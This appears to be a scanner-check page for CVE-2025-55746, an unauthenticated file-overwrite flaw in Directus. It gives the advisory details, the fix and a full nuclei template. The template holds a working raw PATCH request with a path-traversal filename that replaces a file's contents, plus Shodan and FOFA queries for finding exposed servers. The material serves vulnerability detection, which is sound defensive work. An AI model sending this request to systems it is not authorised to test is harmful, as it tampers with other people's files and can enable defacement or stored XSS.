Directus - Unauthenticated File Modification

criticalseverity

9.3CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.

Impact

An unauthenticated attacker with knowledge of a valid file UUID can replace the contents of an existing Directus file, potentially leading to defacement, data tampering, or stored XSS if the file is served to other users.

Fix

Upgrade Directus to version 11.9.3 or later.

How to confirm it

Send: PATCH /files/{{file_id}}
Positive when: status_code == 403 and contains(header, "X-Powered-By: Directus")
Send: GET /assets/{{file_id}}?download=1&cachebuster={{cachebust}}
Positive when: contains "{{marker}}" AND contains in header "X-Powered-By: Directus" AND status 200

Run it with nuclei: nuclei -id CVE-2025-55746 -u <target>

The full check

id: CVE-2025-55746

info:
  name: Directus - Unauthenticated File Modification
  author: aleff-github
  severity: critical
  description: |
    Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.
  impact: |
    An unauthenticated attacker with knowledge of a valid file UUID can replace the contents of an existing Directus file, potentially leading to defacement, data tampering, or stored XSS if the file is served to other users.
  remediation: |
    Upgrade Directus to version 11.9.3 or later.
  reference:
    - https://github.com/advisories/GHSA-mv33-9f6j-pfmc
    - https://github.com/directus/directus/commit/d84dcc36f75fc5c858d43746b8f9c426c38d696b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55746
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-55746
    epss-score: 0.01512
    epss-percentile: 0.74682
    cwe-id: CWE-73
    cpe: cpe:2.3:a:monospace:directus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monospace
    product: directus
    shodan-query: 'X-Powered-By: Directus'
    fofa-query: 'header="X-Powered-By: Directus"'
  tags: cve,cve2025,directus,file-upload,intrusive,vuln

variables:
  marker: "{{rand_text_alpha(32)}}"
  cachebust: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        PATCH /files/{{file_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----CVE-2025-55746

        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_disk"

        ../../{{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_download"

        {{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="file"; filename="{{file_id}}.txt"
        Content-Type: text/plain

        {{marker}}
        ------CVE-2025-55746--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(header, "X-Powered-By: Directus")'
        condition: and
        internal: true

  - raw:
      - |
        GET /assets/{{file_id}}?download=1&cachebuster={{cachebust}} HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-cache

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'

      - type: word
        part: header
        words:
          - 'X-Powered-By: Directus'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from